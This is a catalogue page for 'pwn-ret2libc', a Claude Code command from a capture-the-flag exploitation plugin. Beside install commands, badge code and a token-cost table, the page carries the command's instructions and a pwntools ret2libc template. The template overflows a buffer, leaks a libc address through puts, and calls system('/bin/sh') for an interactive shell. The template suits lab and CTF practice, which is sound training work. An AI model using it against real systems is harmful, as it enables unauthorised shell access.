pwn-ret2libc

pwn-ret2libc is a command for Claude Code from allsmog/pwn-claude-plugin. It costs 20 tokens per session (878 once invoked), scanned A, original, MIT.

A command that creates a return-to-libc exploit template for a buffer-overflow challenge. Return-to-libc reuses existing code in a program's C library instead of injecting new code.

In plain words
What is it for?
It helps create an exploit script from a binary, return-address offset, optional C library file, and remote target, using a leak followed by a call to system to start a shell.
Why use it?
It handles much of the repeated setup needed for a two-stage exploit, including leaking a library address and calculating where library functions are loaded.

Command for Claude Code

Written for Claude Code: allowed-tools in frontmatter. Also seen: names the AskUserQuestion tool.

Part of the pwn-htb plugin — 7 skills, 16 commands, 3 agents, 2 hooks shipped together

Good fit It helps create an exploit script from a binary, return-address offset, optional C library file, and remote target, using a leak followed by a call to system to start a shell.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/allsmog/pwn-claude-plugin/pwn-ret2libc
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/pwn-claude-plugin

Made for: Claude Code.

Or install pwn-htb, the plugin that ships this one along with the rest of its 7 skills, 16 commands, 3 agents, 2 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pwn-ret2libc

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-ret2libc/github.svg)](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-ret2libc)
Your own site
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-ret2libc"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-ret2libc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pwn-ret2libc

Your own site · 80×15
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-ret2libc"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-ret2libc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 20 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 878 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00020 $0.00878
Opus 5 $0.00010 $0.00439
Sonnet 5 $0.00004 $0.00176
Haiku 4.5 $0.00002 $0.00088

Measured 12d ago against content hash 35f77b6f359f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

pwn-ret2libc scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

pwn-htb/commands/pwn-ret2libc.md · 141 lines

How it starts

The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.

PWN ret2libc - Return to Libc Template

Generate a complete ret2libc exploit with two-stage leak and shell.

Execution Steps

Step 1: Gather Information

Required:

  • Binary path
  • Offset to return address

Optional:

  • Libc path (if not provided, will use leak to identify)
  • Remote host:port

If offset unknown, suggest running /pwn-dynamic first.

Step 2: Find Gadgets

ROPgadget --binary <binary> | grep "pop rdi ; ret"
ROPgadget --binary <binary> | grep ": ret$"

Step 3: Generate Template

Create exploit with:

  • Stage 1: Leak puts/printf/write GOT entry
  • Return to main/vuln for second input
  • Stage 2: system("/bin/sh") with calculated base

Step 4: Save Exploit

Write to exploit.py with all values filled in.

Generated Template Structure

#!/usr/bin/env python3
"""
ret2libc Exploit Template
Target: <binary>
Vulnerability: Buffer overflow
Technique: Two-stage ret2libc
"""
from pwn import *

# === CONFIGURATION ===
BINARY = './<binary>'
OFFSET = <offset>  # Offset to RIP

# Gadgets (from ROPgadget)
POP_RDI = <address>  # pop rdi ; ret
RET = <address>      # ret (for stack alignment)

# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
context.log_level = 'info'

# Libc (update after identification)
# libc = ELF('./libc.so.6')

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    elif args.GDB:
        return gdb.debug(BINARY, '''
            b main
            c
        ''')
    else:
        return process(BINARY)

def main():
    io = conn()

    # === STAGE 1: LEAK LIBC ===
    log.info("Stage 1: Leaking libc address...")

    payload1 = flat(
        b'A' * OFFSET,
        POP_RDI,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']  # Return to main
    )

    io.sendlineafter(b'prompt', payload1)  # Adjust prompt

    # Parse leak
    leak = u64(io.recvline().strip().ljust(8, b'\\x00'))
    log.success(f"Leaked puts@libc: {hex(leak)}")

    # Calculate libc base (update offset for your libc)
    # libc.address = leak - libc.symbols['puts']
    # log.success(f"libc base: {hex(libc.address)}")

    # === STAGE 2: GET SHELL ===
    log.info("Stage 2: Calling system('/bin/sh')...")

    payload2 = flat(
        b'A' * OFFSET,
        RET,  # Stack alignment
        POP_RDI,
        # next(libc.search(b'/bin/sh')),
        # libc.symbols['system']
    )

    io.sendline(payload2)
    io.interactive()

if __name__ == '__main__':
    main()

Read the full file on GitHub · 141 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 141 lines · 20 tokens per session scan A 35f77b6f359f

Subscribe to this mod's changes

pwn-ret2libc is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 20 tokens to every session and 878 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.